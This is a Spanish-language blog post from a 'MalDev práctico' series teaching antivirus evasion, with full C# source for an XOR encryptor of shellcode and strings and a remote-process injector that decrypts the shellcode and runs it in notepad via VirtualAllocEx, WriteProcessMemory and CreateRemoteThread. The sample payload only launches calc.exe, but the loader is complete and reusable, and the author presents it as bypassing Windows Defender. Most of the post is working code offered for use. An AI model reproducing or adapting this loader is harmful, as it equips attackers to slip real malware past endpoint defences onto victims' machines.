MalDev práctico: evasión de AV básica

Una vez que hemos aprendido lo básico para cargar o inyectar nuestro shellcode llega el momento de la evasión de las defensas para poder llevar con éxito nuestro ataque. Hoy en día nos encontraremos con muchas capas, del tradicional antivirus hasta los EDR (Enterprise Detection and Response) sin olvidar de los analistas de los blue teams, desde el SOC hasta los threat hunters.

En este post empezaremos con los antivirus que, aunque parece la defensa más básica, no debemos subestimarla. De hecho evadir la protección de Windows Defender y AMSI, que vienen por defecto en el sistema operativo de usuario más targeteado del mundo, puede resultar a veces harto complicado y desafiante.

Ya sabemos que los antivirus analizan los ficheros estáticamente y que a veces incluso utilizan una sandbox para inspeccionar el comportamiento básico de la muestra. Normalmente para evadirlos haremos uso de la ofuscación para ocultar aquellos indicadores sospechosos. Podemos cifrar o encodear strings, llamadas a funciones (para que no se muestren en la IAT) y el shellcode pero ¡cuidado! a veces demasiada ofuscación es un indicador en si mismo (esa maldita entropía!). 

A parte también podemos usar bypasses lógicos sabiendo cómo funciona el AV, evadir la ejecución en sandboxes e incluso sólo detonar nuestro payload si se cumplen una serie de requisitos en el entorno objetivo (por ej. que el host pertenezca a un dominio determinado).

Para este ejercicio primero empezaremos con un pequeño programa helper para el cifrado de nuestro shellcode y las strings. Una operación simple con XOR que es reversible (la función de cifrado y descifrado son la misma) bastará para nuestro cometido:

using System;
using System.Diagnostics;
using System.Text;

namespace Encryptor
{
    public class BasicAVEvasion
    {

        /* primero definiremos nuestra key, en este caso simplemente un único byte para las operaciones XOR */
        /*  Esta clave tendrá que ser la misma utilizada en el programa principal porque si no el descifrado fallará */
        private static uint key = 0x37;

        /* Función Helper para encodear con XOR el byte array de nuestro shellcode */
        private static byte[] xorEncrypt(byte[] plaintext)
        {
            byte[] encrypted = new byte[plaintext.Length];
            for (int i = 0; i < plaintext.Length; i++)
            {
                encrypted[i] = (byte)((uint)plaintext[i] ^ key);
            }
            return encrypted;
        }

        /* duplicar la función anterior para poder aceptar también una string como entrada */
        private static byte[] xorEncrypt(string plaintext)
        {
            byte[] encrypted = new byte[plaintext.Length];
            for (int i = 0; i < plaintext.Length; i++)
            {
                encrypted[i] = (byte)((uint)plaintext[i] ^ key);
            }
            /* Todavía devolvemos un byte-array aquí porque la cadena cifrada puede contener bytes no imprimibles */
            return encrypted;
        }

        /* Función Helper para imprimir un byte array en el formato correcto */
        private static void printByteArray(string varname, byte[] data){
            StringBuilder hexString = new StringBuilder(data.Length * 2);

            for (int count = 0; count < data.Length; count++)
            {
                byte b = data[count];
                if ((count + 1) == data.Length) /* no añadir una coma en el último byte */
                {
                    hexString.AppendFormat("0x{0:x2}", b);
                }
                else
                {
                    hexString.AppendFormat("0x{0:x2}, ", b);
                }

                if ((count + 1) % 15 == 0) /* Dividir los bytes de manera uniforme */
                {
                    hexString.Append("\n");
                }
            }

            /* imprimir el resultado con formato */
            Console.WriteLine($"byte[] {varname} = new byte[{data.Length}] {{\n{hexString}\n}};");

        }

        public static void Main()
        {

            /* Define nuestro shellcode *NO CIFRADO* */
            byte[] sc = new byte[296] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
            0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
            0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
            0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
            0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
            0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
            0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
            0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
            0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
            0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,
            0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
            };
            
            /* Encodea el shellcode con nuestra key e imprime para copypastearlo en 'BasicAVEvasion.cs' */
            printByteArray("scEnc", xorEncrypt(sc));

            /* define las strings que queremos cifrar */
            string notepad = "notepad";

            /* Encodea la string con nuestra key e imprime para copypastearlo en 'BasicAVEvasion.cs' */
            printByteArray("notepadEnc", xorEncrypt(notepad));

            /* Repetimos */
            string kernel32 = "kernel32.dll";
            printByteArray("kernel32Enc", xorEncrypt(kernel32));
        }
    }
}

pd. También tenemos otro encodeador aquí: https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Linux%20Shellcode%20Encoder/shellcodeCrypter-bin.py

Ejecutamos nuestro código y copiamos el shellcode y las strings cifradas:

Ahora los usaremos en nuestro siguiente código, basado en el shellcode inyector del segundo ejercicio.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;


namespace Injector
{

    public class BasicAVEvasion
    {
        /* primero definiremos nuestra key, en este caso simplemente un único byte para las operaciones XOR */
        private static uint key = 0x37;

        /* Función Helper para DESencodear con XOR el byte array de nuestro shellcode */
        private static byte[] xorDecryptBytes(byte[] encrypted)
        {
            byte[] decrypted = new byte[encrypted.Length];
            for (int i = 0; i < encrypted.Length; i++)
            {
                decrypted[i] = (byte)((uint)encrypted[i] ^ key);
            }
            return decrypted;
        }

        /* Función Helper para DESencodear con XOR nuestra string */
        private static string xorDecryptString(byte[] encrypted)
        {
            string decrypted = "";
            for (int i = 0; i < encrypted.Length; i++)
            {
                decrypted += (char)((uint)encrypted[i] ^ key);
            }
            return decrypted;
        }

        /* Declaraciones con P/Invoke */
        [Flags]
        public enum ProcessAccessFlags : uint
        {
            All = 0x001F0FFF
        }
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000
        }
        [Flags]
        public enum MemoryProtection
        {
            ExecuteReadWrite = 0x40
        }
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr procHandle, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr procHandle, IntPtr lpBaseAddress, byte[] lpscfer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr procHandle, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        public static void Main()
        {

            /* Definimos nuestro shellcode cifrado anteriormente */
            byte[] scEnc = new byte[296] {
                0xcb, 0x7f, 0xb4, 0xd3, 0xc7, 0xdf, 0xf7, 0x37, 0x37, 0x37, 0x76, 0x66, 0x76, 0x67, 0x65,
                0x66, 0x61, 0x7f, 0x06, 0xe5, 0x52, 0x7f, 0xbc, 0x65, 0x57, 0x7f, 0xbc, 0x65, 0x2f, 0x7f,
                0xbc, 0x65, 0x17, 0x7f, 0xbc, 0x45, 0x67, 0x7f, 0x38, 0x80, 0x7d, 0x7d, 0x7a, 0x06, 0xfe,
                0x7f, 0x06, 0xf7, 0x9b, 0x0b, 0x56, 0x4b, 0x35, 0x1b, 0x17, 0x76, 0xf6, 0xfe, 0x3a, 0x76,
                0x36, 0xf6, 0xd5, 0xda, 0x65, 0x76, 0x66, 0x7f, 0xbc, 0x65, 0x17, 0xbc, 0x75, 0x0b, 0x7f,
                0x36, 0xe7, 0xbc, 0xb7, 0xbf, 0x37, 0x37, 0x37, 0x7f, 0xb2, 0xf7, 0x43, 0x50, 0x7f, 0x36,
                0xe7, 0x67, 0xbc, 0x7f, 0x2f, 0x73, 0xbc, 0x77, 0x17, 0x7e, 0x36, 0xe7, 0xd4, 0x61, 0x7f,
                0xc8, 0xfe, 0x76, 0xbc, 0x03, 0xbf, 0x7f, 0x36, 0xe1, 0x7a, 0x06, 0xfe, 0x7f, 0x06, 0xf7,
                0x9b, 0x76, 0xf6, 0xfe, 0x3a, 0x76, 0x36, 0xf6, 0x0f, 0xd7, 0x42, 0xc6, 0x7b, 0x34, 0x7b,
                0x13, 0x3f, 0x72, 0x0e, 0xe6, 0x42, 0xef, 0x6f, 0x73, 0xbc, 0x77, 0x13, 0x7e, 0x36, 0xe7,
                0x51, 0x76, 0xbc, 0x3b, 0x7f, 0x73, 0xbc, 0x77, 0x2b, 0x7e, 0x36, 0xe7, 0x76, 0xbc, 0x33,
                0xbf, 0x7f, 0x36, 0xe7, 0x76, 0x6f, 0x76, 0x6f, 0x69, 0x6e, 0x6d, 0x76, 0x6f, 0x76, 0x6e,
                0x76, 0x6d, 0x7f, 0xb4, 0xdb, 0x17, 0x76, 0x65, 0xc8, 0xd7, 0x6f, 0x76, 0x6e, 0x6d, 0x7f,
                0xbc, 0x25, 0xde, 0x60, 0xc8, 0xc8, 0xc8, 0x6a, 0x7f, 0x8d, 0x36, 0x37, 0x37, 0x37, 0x37,
                0x37, 0x37, 0x37, 0x7f, 0xba, 0xba, 0x36, 0x36, 0x37, 0x37, 0x76, 0x8d, 0x06, 0xbc, 0x58,
                0xb0, 0xc8, 0xe2, 0x8c, 0xd7, 0x2a, 0x1d, 0x3d, 0x76, 0x8d, 0x91, 0xa2, 0x8a, 0xaa, 0xc8,
                0xe2, 0x7f, 0xb4, 0xf3, 0x1f, 0x0b, 0x31, 0x4b, 0x3d, 0xb7, 0xcc, 0xd7, 0x42, 0x32, 0x8c,
                0x70, 0x24, 0x45, 0x58, 0x5d, 0x37, 0x6e, 0x76, 0xbe, 0xed, 0xc8, 0xe2, 0x74, 0x0d, 0x6b,
                0x40, 0x5e, 0x59, 0x53, 0x58, 0x40, 0x44, 0x6b, 0x44, 0x4e, 0x44, 0x43, 0x52, 0x5a, 0x04,
                0x05, 0x6b, 0x54, 0x56, 0x5b, 0x54, 0x19, 0x52, 0x4f, 0x52, 0x37
            };

            /* Definimos la cadena cifrada "notepad" */
            byte[] notepadEnc = new byte[7] {
                0x59, 0x58, 0x43, 0x52, 0x47, 0x56, 0x53
            };

            /* Decodeamos y usamos la cadena o string cifrada aquí */
            Process[] expProc = Process.GetProcessesByName(xorDecryptString(notepadEnc));
            if(expProc.Length == 0){
                /* Nos deshacemos de las cadenas estáticas pero todavía tenemos que manejar las excepciones para evitar alertas al usuario */
                return;
             }

            int pid = expProc[0].Id;

            IntPtr procHandle = OpenProcess(ProcessAccessFlags.All, false, pid);

            IntPtr memAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)scEnc.Length, AllocationType.Commit | AllocationType.Reserve,
                MemoryProtection.ExecuteReadWrite);

            /* Descifrar nuestro shellcode en el último momento, antes de que lo copiemos */
            byte[] sc = xorDecryptBytes(scEnc);

            IntPtr bytesWritten;
            bool procMemResult = WriteProcessMemory(procHandle, memAddr, sc, scEnc.Length, out bytesWritten);

            IntPtr tAddr = CreateRemoteThread(procHandle, IntPtr.Zero, 0, memAddr, IntPtr.Zero, 0, IntPtr.Zero);

        }
    }
}

Espero que los comentarios en el código sean bastante auto-explicativos, si no, ¡no lo dudes y comenta!

Por fin llegamos a la hora de compilar y probarlo.

Como veis este simple código basta para bypassear Windows Defender. Además tiene detecciones bajas o nulas en Antiscan


Así que ¡prueba superada! Hasta el próximo post en el que intentaremos bypassear un señor EDR ;) 

Serie MalDev práctico:

Comentarios

  1. Excelente el post amigo, que posibilidades hay de que compartas, además de continuar con esta serie de evasión, una serie de cómo crear un crypter, gracias de antemano

    ResponderEliminar

Publicar un comentario